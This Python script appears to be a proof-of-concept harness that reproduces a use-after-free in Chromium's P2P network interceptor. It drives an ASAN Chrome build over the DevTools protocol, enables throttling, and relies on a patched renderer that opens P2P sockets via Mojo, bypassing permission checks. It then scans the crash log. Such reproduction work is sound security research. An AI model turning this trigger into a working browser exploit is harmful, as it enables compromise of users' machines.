#!/usr/bin/env python3
"""
PoC Trigger: P2P Interceptor Iterator Invalidation UAF
1. Starts HTTP server for poc.html
2. Launches Chrome with ASAN + remote debugging
3. Navigates to PoC page FIRST (wait for load)
4. THEN enables network throttling via CDP (so it survives navigation)
5. THEN the patched renderer creates P2P sockets via Mojo directly
6. Timer fires -> OnSendNetworkTimer -> iterator invalidation -> UAF
"""
import json
import http.server
import threading
import subprocess
import sys
import os
import tempfile
import time
import urllib.request
import socket
import base64
import struct

CHROME = os.path.expanduser("~/src/chromium/src/out/Asan/chrome")
HTTP_PORT = 8899
CDP_PORT = 9222
LOG_FILE = "poc-p2p-interceptor.log"


# Minimal sync WebSocket client (no external deps)
class MiniWS:
    def __init__(self, url):
        url = url.replace("ws://", "")
        host_port, self.path = url.split("/", 1)
        self.path = "/" + self.path
        self.host, port = host_port.split(":")
        self.port = int(port)
        self.sock = socket.create_connection((self.host, self.port))
        self.sock.settimeout(15)
        self._handshake()

    def _handshake(self):
        key = base64.b64encode(os.urandom(16)).decode()
        req = (
            f"GET {self.path} HTTP/1.1\r\n"
            f"Host: {self.host}:{self.port}\r\n"
            f"Upgrade: websocket\r\n"
            f"Connection: Upgrade\r\n"
            f"Sec-WebSocket-Key: {key}\r\n"
            f"Sec-WebSocket-Version: 13\r\n\r\n"
        )
        self.sock.sendall(req.encode())
        resp = b""
        while b"\r\n\r\n" not in resp:
            resp += self.sock.recv(4096)
        if b"101" not in resp.split(b"\r\n")[0]:
            raise Exception(f"WS handshake failed: {resp[:200]}")

    def send(self, data):
        payload = data.encode() if isinstance(data, str) else data
        mask_key = os.urandom(4)
        length = len(payload)
        header = bytearray()
        header.append(0x81)
        if length < 126:
            header.append(0x80 | length)
        elif length < 65536:
            header.append(0x80 | 126)
            header += struct.pack(">H", length)
        else:
            header.append(0x80 | 127)
            header += struct.pack(">Q", length)
        header += mask_key
        masked = bytearray(b ^ mask_key[i % 4] for i, b in enumerate(payload))
        self.sock.sendall(bytes(header) + bytes(masked))

    def recv(self):
        def read_exact(n):
            buf = b""
            while len(buf) < n:
                chunk = self.sock.recv(n - len(buf))
                if not chunk:
                    raise Exception("WS connection closed")
                buf += chunk
            return buf
        hdr = read_exact(2)
        length = hdr[1] & 0x7f
        if length == 126:
            length = struct.unpack(">H", read_exact(2))[0]
        elif length == 127:
            length = struct.unpack(">Q", read_exact(8))[0]
        return read_exact(length).decode()

    def close(self):
        try:
            self.sock.close()
        except Exception:
            pass


class Handler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        super().__init__(*a, directory=os.path.dirname(os.path.abspath(__file__)), **kw)
    def log_message(self, *a):
        pass


def start_http():
    srv = http.server.HTTPServer(("127.0.0.1", HTTP_PORT), Handler)
    srv.serve_forever()


def wait_for_cdp(timeout=30):
    for _ in range(timeout * 2):
        try:
            resp = urllib.request.urlopen(f"http://127.0.0.1:{CDP_PORT}/json")
            return json.loads(resp.read())
        except Exception:
            time.sleep(0.5)
    return None


def main():
    # HTTP server
    threading.Thread(target=start_http, daemon=True).start()
    print(f"[+] HTTP server on :{HTTP_PORT}")

    # Launch Chrome - redirect stderr to file to avoid pipe buffer blocking
    user_data = tempfile.mkdtemp(prefix="poc-p2p-")
    cmd = [
        CHROME,
        "--disable-gpu",
        f"--remote-debugging-port={CDP_PORT}",
        f"--user-data-dir={user_data}",
        "--headless",
        "--enable-logging=stderr",
        "--v=1",
        "about:blank",
    ]
    env = os.environ.copy()
    env["ASAN_OPTIONS"] = "detect_odr_violation=0"

    print(f"[+] Launching Chrome...")
    stderr_file = open(LOG_FILE, "w")
    proc = subprocess.Popen(cmd, env=env, stderr=stderr_file, stdout=subprocess.DEVNULL)

    # Wait for CDP
    print("[*] Waiting for CDP...")
    targets = wait_for_cdp()
    if not targets:
        print("[-] CDP timeout")
        proc.terminate()
        stderr_file.close()
        return

    page = next((t for t in targets if t.get("type") == "page"), None)
    if not page:
        print("[-] No page target")
        proc.terminate()
        stderr_file.close()
        return

    ws_url = page["webSocketDebuggerUrl"]
    print(f"[+] CDP target: {ws_url}")

    ws = MiniWS(ws_url)
    msg_id = 0

    def cdp(method, params=None):
        nonlocal msg_id
        msg_id += 1
        mid = msg_id
        msg = {"id": mid, "method": method}
        if params:
            msg["params"] = params
        ws.send(json.dumps(msg))
        while True:
            raw = ws.recv()
            resp = json.loads(raw)
            if resp.get("id") == mid:
                return resp

    def wait_for_event(name, timeout=10):
        """Read CDP messages until we see the named event."""
        old_timeout = ws.sock.gettimeout()
        ws.sock.settimeout(timeout)
        try:
            while True:
                raw = ws.recv()
                msg = json.loads(raw)
                if msg.get("method") == name:
                    return msg
        except socket.timeout:
            return None
        finally:
            ws.sock.settimeout(old_timeout)

    try:
        # Step 1: Navigate to poc.html and wait for it to fully load
        r = cdp("Page.enable")
        print(f"[+] Page.enable: id={r.get('id')}")

        r = cdp("Page.navigate", {"url": f"http://127.0.0.1:{HTTP_PORT}/poc.html"})
        print(f"[+] Page.navigate: id={r.get('id')}")

        evt = wait_for_event("Page.loadEventFired", timeout=10)
        if evt:
            print("[+] Page loaded successfully")
        else:
            print("[!] Page load timeout, continuing anyway")

        # Step 2: AFTER navigation is complete, enable network throttling.
        r = cdp("Network.enable")
        print(f"[+] Network.enable: id={r.get('id')}")

        r = cdp("Network.emulateNetworkConditions", {
            "offline": False,
            "latency": 50,
            "downloadThroughput": 1000000,
            "uploadThroughput": 1000000,
        })
        print(f"[+] Network.emulateNetworkConditions: id={r.get('id')}")

        # Step 3: The patched renderer will create P2P sockets via Mojo
        # directly (3s delayed task in DidFinishLoad), bypassing WebRTC JS
        # API and FilteringNetworkManager permissions entirely.
        # Wait for the delayed task + interceptor timer + crash.
        print("[*] Throttling active. Renderer will create P2P sockets in ~3s. Waiting for crash (20s)...")
        time.sleep(20)

    except Exception as e:
        print(f"[!] Error: {e}")
        import traceback
        traceback.print_exc()
    finally:
        ws.close()

    # Collect results
    try:
        proc.wait(timeout=5)
    except subprocess.TimeoutExpired:
        proc.terminate()
        try:
            proc.wait(timeout=5)
        except subprocess.TimeoutExpired:
            proc.kill()
            proc.wait()

    stderr_file.close()

    with open(LOG_FILE, "r") as f:
        stderr = f.read()

    if "AddressSanitizer" in stderr:
        print("\n[!!!] ASAN report detected!\n")
        for line in stderr.split("\n"):
            if any(k in line for k in ["ERROR:", "SUMMARY:", "heap-use-after-free",
                                        "READ of size", "WRITE of size",
                                        "ThrottlingP2PNetworkInterceptor",
                                        "OnSendNetworkTimer", "UnregisterSocket",
                                        "POC"]):
                print(f"  {line}")
    elif "POC" in stderr:
        print("[+] PoC code path hit but no ASAN crash")
        for line in stderr.split("\n"):
            if "POC" in line or "UpdateConditions" in line:
                print(f"  {line}")
    else:
        print("[-] No ASAN report or PoC markers found")
        print("[*] Last 30 lines of stderr:")
        for line in stderr.split("\n")[-30:]:
            print(f"  {line}")

    print(f"\n[*] Full log: {LOG_FILE}")


if __name__ == "__main__":
    main()